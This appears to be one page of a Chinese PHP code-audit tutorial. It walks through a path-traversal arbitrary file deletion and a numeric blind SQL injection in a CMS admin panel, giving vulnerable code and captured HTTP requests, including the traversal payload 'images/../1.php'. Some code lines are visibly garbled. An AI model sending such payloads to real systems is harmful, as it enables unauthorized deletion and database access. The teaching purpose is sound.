PHP代码审计之入门实战

来源:岁月联盟 编辑:猪蛋儿 时间:2020-02-10
  ...
  ...
}
大致就这么多防护了,接下来开始真正地来进行漏洞挖掘。
漏洞分析
后台任意文件删除
漏洞分析
漏洞文件:admin/deal.php
deal.php
function del_file()
{
    $path = post('path');
    $flag = false;
    $dir[0] = 'data/backup/';
    $dir[1] = 'images/';
    $dir[2] = 'resource/';
    for($i = 0; $i if(substr($path,0,strlen($dir[$i])) == $dir[$i])
        {
            $flag = true;
        }
    }
    if($flag)
    {
        if(unlink($path))
        {
            $result = 1;
        }
    }
    echo isset($result)?$result:0;
}
这里核心看这处代码:
if(substr($path,0,strlen($dir[$i])) == $dir[$i])
{
  $flag = true;
}
这是个删除文件的函数定义,删除文件用了白名单策略,必须只能删除:
$dir[0] = 'data/backup/';
$dir[1] = 'images/';
$dir[2] = 'resource/';
这3个目录下的文件,使用了substr从$path的0位置开始往后判断,只校验了$path前面是否在白名单内部,但是却忽略了 白名单后面的路径可能使用../的这种形式来穿越目录。
漏洞利用

抓取删除 这个操作的数据包,具体如下:
POST /admin.php?/deal/ HTTP/1.1
Host: 10.211.55.12
Content-Length: 33
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://10.211.55.12
Referer: http://10.211.55.12/admin.php?/file/mod-pic_lists/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: PHPSESSID=7e2ofb2sbe5p0bhv8rcgfg5n84
Connection: close
cmd=del_file&path=images/../1.php
通过在白名单目录后面使用../可以实现跨目录任意文件删除,删除成功返回1

后台盲注
后台盲注有好几处点,虽然可控变量基本上都被过滤了,但是却忽略 数字型盲注 不需要闭合单引号就可以直接拼接SQL语句导致盲注的产生,下面就找一个典型的例子来分析。
漏洞分析

删除管理员账号这里存在数字型盲注,下面来看下细节代码:
admin/module/basic/deal.php
function del_admin()
{
    global $global;
    $adm_id = post('id');
    $obj = new admin();
    $obj->set_where('adm_id = '.$global['admin_id']);
    $a = $obj->get_one();
    $obj->set_where('');
    $obj->set_where("adm_id = $adm_id");
    $b = $obj->get_one();
    if($obj->get_count())
    {
        if($a['adm_grade'] 'adm_grade'])
        {
            $obj->del();
            set_cookie('result',1);
        }
    }
    echo 1;
}
比较关键的两处代码是:
// admin_id 用户可控 虽然经过post过滤了
$adm_id = post('adm_id');
// post过滤后直接带入数据库操作
$obj->set_where('adm_id = '.$global['admin_id']);
为了进一步分析,使用Burpsuite来抓取修改密码的数据包,具体如下:
POST /admin.php?/deal/dir-basic/ HTTP/1.1
Host: 10.211.55.12
Content-Length: 18
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://10.211.55.12
Referer: http://10.211.55.12/admin.php?/basic/mod-admin_list/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: PHPSESSID=7e2ofb2sbe5p0bhv8rcgfg5n84; user_username=111111; user_password=96e79218965eb72c92a549dd5a330112
Connection: close
cmd=del_admin&id=2
因为代码里面只返回1 echo 1; 所以这里注入的话只能使用数字型基于时间的盲注了:

上一页  [1] [2] [3] [4] [5] [6] [7]  下一页